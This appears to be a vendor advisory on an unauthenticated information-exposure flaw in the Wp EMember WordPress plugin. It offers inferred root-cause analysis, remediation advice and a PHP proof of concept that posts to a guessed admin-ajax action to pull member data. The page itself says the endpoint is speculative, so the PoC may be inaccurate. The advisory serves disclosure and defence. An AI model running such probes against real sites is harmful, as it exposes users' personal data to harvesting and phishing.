Published : June 14, 2026

CVE-2026-49077: Wp EMember <= v10.2.2 Unauthenticated Information Exposure PoC, Patch Analysis & Rule

CVE ID CVE-2026-49077
Plugin wp-eMember
Severity Medium (CVSS 5.3)
CWE 200
Vulnerable Version v10.2.2
Patched Version —
Disclosed June 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-49077 (metadata-based): This vulnerability affects the Wp EMember plugin for WordPress, up to and including version v10.2.2. It allows unauthenticated attackers to extract sensitive information. The vulnerability has a CVSS score of 5.3, which indicates a medium severity. The attack vector is network-based, requires low complexity, and no privileges. User interaction is not required. The CWE classification is CWE-200, which covers Exposure of Sensitive Information to an Unauthorized Actor.

The root cause is inferred from the CWE and CVSS vector. The plugin likely exposes sensitive data through an AJAX handler or REST API endpoint that lacks proper authorization checks. WordFence and PatchStack research on similar CWE-200 vulnerabilities in WordPress membership plugins often involves endpoints that return user details or configuration data without verifying a nonce or user capability. For example, the plugin may register a `wp_ajax_nopriv_` hook that outputs membership data, user email addresses, or plugin settings without authentication. This analysis infers the vulnerable pattern; no code diff confirms the exact mechanism.

An attacker can exploit this vulnerability by sending a crafted HTTP request to a vulnerable endpoint. The most likely target is an AJAX action registered without a nonce or capability check. For instance, the endpoint might be `/wp-admin/admin-ajax.php?action=wp_emember_get_member_data` or similar. The attacker sends a GET or POST request to this endpoint, which responds with sensitive data such as user email addresses, membership levels, or plugin configuration. The attacker does not need to authenticate or provide any special parameters. The CVSS vector confirms no user interaction and low attack complexity.

Remediation requires adding proper access controls to the vulnerable endpoint. The developer must implement capability checks and nonce verification for any AJAX action or REST endpoint that returns sensitive information. Specifically, any handler registered with `add_action(‘wp_ajax_nopriv_…’)` should be reviewed. The handler should verify a valid nonce and limit data exposure to authorized users only. Since no patched version is available, site owners should consider disabling the plugin or using a Web Application Firewall (WAF) rule to block requests to the vulnerable endpoint.

The impact of successful exploitation is the exposure of sensitive information. This data could include registered user email addresses, membership details, or plugin configuration. Such exposure can lead to targeted phishing attacks, account enumeration, or further attacks on the site. The CVSS confidentiality impact is rated as Low, but the information could be valuable for attackers planning more severe exploits. The integrity and availability of the system are not directly affected.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-49077 - Wp EMember <= v10.2.2 - Unauthenticated Information Exposure

// This PoC attempts to enumerate sensitive user data via an inferred AJAX endpoint.
// The actual vulnerable endpoint may differ; replace the action parameter as needed.

// Configuration
$target_url = 'http://example.com'; // Change this to the target WordPress site

// Initialize cURL
$ch = curl_init();

// Attempt to exploit via AJAX - common pattern for membership plugins
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$data = array(
    'action' => 'wp_emember_get_member_data', // Inferred from plugin slug and CWE
    // Some plugins expect a nonce parameter, but this vulnerability bypasses that
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code == 200) {
    print("Exploit attempt sent to $ajax_urln");
    print("Response:n$responsen");
    print("If the response contains user data or configuration information, the site is vulnerable.n");
} else {
    print("Request failed with HTTP code $http_coden");
    print("The endpoint may have a different name or requires additional parameters.n");
}

curl_close($ch);
?>

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